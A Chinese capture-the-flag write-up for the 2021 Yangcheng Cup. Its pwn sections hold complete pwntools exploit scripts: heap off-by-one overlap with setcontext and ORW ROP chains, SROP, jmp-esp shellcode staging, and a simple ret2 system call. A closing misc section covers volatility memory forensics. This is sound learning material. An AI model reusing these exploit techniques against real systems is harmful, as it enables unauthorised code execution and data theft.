2021·第二届羊城杯WP

前言

还是没能写出很多题,不过对于那些题至少能看的明白,知道大概的思路是什么了…还需继续努力

PWN

what you name

保护全开+沙箱execve被禁,现在的比赛题就各种ORW…有点套板子的意思了…

free函数,没有清空堆块本身的指针,存在地址泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 sub_FF2()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( (unsigned int)sub_C27(&v1) )
{
free(*(void **)(*((_QWORD *)&unk_202188 + 2 * v1) + 8LL));
free(*((void **)&unk_202188 + 2 * v1));
*((_DWORD *)&unk_202180 + 4 * v1) = 0;
*((_DWORD *)&unk_202184 + 4 * v1) = 0;
*((_QWORD *)&unk_202188 + 2 * v1) = 0LL;
--dword_20204C;
}
return __readfsqword(0x28u) ^ v2;
}

查看bin的时候,发现有个unsorted bin的堆块,直接add出来泄露main_arena + 88,省心

edit函数里头有off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall sub_D0C(int a1, __int64 a2)
{
__int64 result; // rax
int i; // [rsp+18h] [rbp-8h]
unsigned int j; // [rsp+18h] [rbp-8h]
int v5; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 255; ++i )
byte_202060[i] = 0;
v5 = read(0, byte_202060, a1);
for ( j = 0; ; ++j )
{
*(_BYTE *)((int)j + a2) = byte_202060[j];
result = j;
if ( (int)j >= v5 )
break;
}
return result;
}
解法一:常规ORW

常规off-by-null制造堆叠

1
2
3
4
5
6
7
add(0xf8)
add(0xf8)
add(0xf8)

delete(3)
edit(4,'b'*0xf0+p64(0x200))
delete(5)

修改free_hooksetcontext+53

1
2
edit(4,p64(0)+p64(free_hook)[:7])
edit(8,p64(setcontext)[:7])

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *

# context.log_level = 'debug'
# elf = ELF('name')
libc = ELF('libc.so.6')
p = process("./name")

def choice(a):
p.sendlineafter('5.exit\n',str(a))

def add(size):
choice(1)
p.sendlineafter('size:\n',str(size))

def edit(a,b):
choice(2)
p.sendlineafter('index:\n',str(a))
p.sendafter('name:\n',b)

def show(a):
choice(3)
p.sendlineafter('index:\n',str(a))

def delete(a):
choice(4)
p.sendlineafter('index:\n',str(a))

gdb.attach(p,"b *$rebase(0xFF2)")
add(0xe8)

show(0)
main_arean_xx = u64(p.recv(6).ljust(8,'\x00'))
print "main_arean_xx:",hex(main_arean_xx)
libc_base = main_arean_xx - 88 - libc.sym['__malloc_hook']-0x10
print "libc_base:",hex(libc_base)



add(0x28) #1 #0x555555757490 - 0x555555757b40

add(0xf8) #2

add(0xf8) #3
add(0xf8) #4
add(0xf8) #5

add(0xf8) #6
# gdb.attach(p)

delete(1)

add(0xf8) #6
add(0x28) #7 protect

delete(3)
edit(4,'b'*0xf0+p64(0x200))
delete(5)

add(0x48) #3

add(0xf8) #5
add(0xf8) #8

add(0x78) #9
show(9)

heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print "heap_addr:",hex(heap_addr)
target_addr = heap_addr - (0x5555557575b0-0x0000555555758070)
print "target_addr:",hex(target_addr)

pop_rdi_ret = libc_base + 0x0000000000021112
pop_rsi_ret = libc_base + 0x00000000000202f8
pop_rdx_ret = libc_base + 0x0000000000001b92
pop_rdx_rsi_ret = libc_base + 0x00000000001151c9
ret = libc_base + 0x0000000000000937
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
print "setcontext:",hex(setcontext)
free_hook = libc_base + libc.sym['__free_hook']
print "free_hook:",hex(free_hook)


# edit(8,"./flag\x00")
edit(4,p64(0)+p64(free_hook)[:7])

edit(8,p64(setcontext)[:7])
# gdb.attach(p)
edit(4,'./flag\x00\x00'*20+p64(target_addr)+p64(ret))

flag_addr = heap_addr-(0x5555557575b0-0x555555757d70)

#shellcode + rop ==> orw
orw = p64(pop_rdi_ret) + p64(flag_addr)
orw += p64(pop_rsi_ret) + p64(0x0)
orw += p64(open_addr)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_addr+0x440)
orw += p64(read_addr)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_addr+0x400)
orw += p64(write_addr)
edit(1,orw)

delete(4)

p.interactive()
解法二:SROP+ORW

基本上没有什么太大变化,只是后面用SROP来读入ORW链到bss段上

1
2
3
4
5
6
frame = SigreturnFrame()
frame.rsp = rop_chain_addr
frame.rdi = 0
frame.rsi = rop_chain_addr
frame.rdx = 0x100
frame.rip = libc.sym['read']

show来进行栈迁移

1
2
edit(4, p64(libc.sym['setcontext']+53) + p64(libc.bss()))
show(7)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import*
context.arch = 'amd64'
# context.log_level = 'debug'
local= 1
if local:
sh = process('./name')
else:
sh = remote('127.0.0.1','9999')
libc = ELF('./libc.so.6')

def add(size):
sh.sendlineafter('5.exit\n', '1')
sh.sendlineafter('name size:\n', str(size))
def edit(index, name):
sh.sendlineafter('5.exit\n', '2')
sh.sendlineafter('index:\n', str(index))
sh.sendafter('name:\n', name)
def show(index):
sh.sendlineafter('5.exit\n', '3')
sh.sendlineafter('index:\n', str(index))
def free(index):
sh.sendlineafter('5.exit\n', '4')
sh.sendlineafter('index:\n', str(index))
def _exit():
sh.sendlineafter('5.exit\n', '5')
gdb.attach(sh,"b *$rebase(0xF79)")
pop_rdi_ret_addr = 0x21112
pop_rsi_ret_addr = 0x202f8
pop_rdx_rsi_ret_addr = 0x1151C9
pop_rax_ret_addr = 0x3a738
syscall_ret_addr = 0xbc3f5

add(0x80) # 0
free(0)
add(0x80) # 0
show(0)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x3C4B20- 312
print(hex(libc.address))

add(0x50) # 1
add(0xf8) # 2

add(0xf8) # 3
add(0xf8) # 4
add(0xf8) # 5

add(0xf8) # 6

free(3)
edit(4, 'a'*0xf0+ p64(0x200))
free(5)

add(0x10) # 3
add(0xd0) # 5

add(0x100) # 7
# gdb.attach(sh)
pop_rdi_ret_addr += libc.address
pop_rsi_ret_addr += libc.address
pop_rdx_rsi_ret_addr += libc.address
pop_rax_ret_addr += libc.address
syscall_ret_addr += libc.address

rop_chain_addr = libc.bss()+0x200
str_flag_addr = rop_chain_addr + 0x80
flag_addr = libc.bss() + 0x300

rop_chain = p64(pop_rdi_ret_addr) + p64(str_flag_addr)
rop_chain += p64(pop_rsi_ret_addr) + p64(0)
rop_chain += p64(pop_rax_ret_addr) + p64(2)
rop_chain += p64(syscall_ret_addr)
rop_chain += p64(pop_rdi_ret_addr) + p64(3)
rop_chain += p64(pop_rdx_rsi_ret_addr) + p64(0x50) + p64(flag_addr)
rop_chain += p64(libc.sym['read'])
rop_chain += p64(pop_rdi_ret_addr) + p64(flag_addr)
rop_chain += p64(libc.sym['puts'])
print(len(rop_chain))

edit(4, p64(libc.sym['setcontext']+53) + p64(libc.bss()))

frame = SigreturnFrame()
# frame['uc_stack.ss_size'] = libc.sym['setcontext'] + 61
frame.rsp = rop_chain_addr
frame.rdi = 0
frame.rsi = rop_chain_addr
frame.rdx = 0x100
frame.rip = libc.sym['read']
edit(7, str(frame))
show(7)

sh.send(rop_chain+'./flag\x00')
sh.interactive()

nologin

保护很红呀

程序就两个流程一个是user,一个是admin,先来看看user

1
2
3
4
5
6
7
8
9
puts("======================== users ========================");
puts("Sorry,you are only allowed to :");
puts("1. w");
puts("2. ls");
puts("3. pwd");
puts("4. cat");
puts("5. rename");
puts("6. quit");
puts("Now you can input the number and execute it:\n");

里面就是各种用户态的命令,不过最终都会跳到这,拼接命令最后system执行,这里执行的是xxx > ./result,就是把某某文件写入到result里面去,比赛的时候一直想命令注入,但是这再怎么注入都不可能执行system("/bin/sh")的…,它只会把执行命令后的结果写入到result里面去

再来看一些关键的命令,cat命令,就是cat &s的内容

input_file_name里面就是读入文件名,里面可以进行"\00"截断,至于为什么要截断,往下看

sub_400AC3里面居然在随机我们的文件名,所以你应该知道为什么要截断了吧

那么我们的目标就是很明确了,就是把s改成我们想要读取的文件,比如flag,溢出点就在rename里面,它先把一个变量地址(&v5)传进去,但是进去之后读取23个字节,人家才int_64,你就读23字节进去肯定溢出

结果很明显,我们可以cat flag到result里面了

然后去admin看看,seccomp里面是沙箱,不截图了,禁用了execve,然后就有了orw的想法,并且下面也open了提示已经很明显了,我太菜了没悟出来,

里面有溢出点,具体偏移要手调,但是这里才0x1D的大小,明显不够些readwriteshellcode,那就只能调用sys_read,再读入我们的rw,可恶啊!学到了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(os='linux',arch='amd64')
context.log_level=True

local = 1
binary = './nologin'
port = '11000'

if local == 1:
io = process(binary)
else:
io = remote("192.168.39.184",port)

io.recvuntil('input>> \n')
io.sendline('1')
io.recvuntil('user1>> \n')
io.sendline('5')
payload = 'a'*(0x30-0x19-0x4)+'flag'
print(payload)
io.sendline(payload)
io.recvuntil('>> \n')
io.sendline('4')
io.recvuntil('input file name:\n')
io.sendline('\x00')
io.recvuntil('>> \n')
io.sendline('6')
io.recvuntil('input>> \n')
io.sendline('2')
io.recvuntil('>password: ')
#gdb.attach(io,"b *0x400a0e")
jmp_esp=0x00000000004016fb
shellcode='mov eax,0;mov edx,200;syscall'
#用jmp esp劫持控制流到栈上
payload=asm(shellcode).ljust(0xd,'a')+p64(jmp_esp)+asm('mov bx,21;sub rsp,rbx;jmp rsp')
print(len(payload))
io.send(payload)
# pause()
shellcode='mov edx,200;mov rdi,3;mov rax,0;syscall;mov rdi,1;mov rax,1;syscall;'
print(len(shellcode))
#加上0x30是填充之前的指令,因为当前的ip指向0x30这个位置
payload='c'*0x30+asm(shellcode)
# pause()
io.send(payload)
io.interactive()

BabyROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
elf = ELF('BabyRop')
# libc = ELF('libc-2.27.so')
local = 0
binary = 'BabyRop'
port = '11000'

if local == 1:
io = process(binary)
else:
io = remote("192.168.39.184",port)

sh = 0x804c029
put_plt = elf.plt['puts']
put_got = elf.got['puts']
sys_got = 0x80491D6
gdb.attach(io)
io.sendline('a'*0x28+'b'*4+p32(sys_got)+'zyen'+p32(sh))

# puts_got = u32(io.recvuntil('\x7f')[-4:])
# print(hex(put_got))
# io.sendline('\x00\x6a'+shellcode)
# io.recv(10)
io.interactive()

misc

Baby–forenisc

1
sudo ./volatility_2.6_lin64_standalone -f 1.raw --profile=WinXPSP2x86 cmdscan

其他都扫了一边只有这个有信息,它提示把flag放到git上了

1
sudo ./volatility_2.6_lin64_standalone -f 1.raw --profile=WinXPSP2x86 filescan | grep -E 'txt'

把它dump出来

1
sudo ./volatility_2.6_lin64_standalone -f 1.raw --profile=WinXPSP2x86 dumpfiles -Q 0x00000000020bf6a0 -D ./

放到putty genera

获取一个邮箱,之前说flaggit上我们直接github上搜

文件打开翻一下找到,官方wp说这是一个微信小程序的文件,本来是需要通过工具进行解包的,但是没想到flagbase64的形式写到这里面了…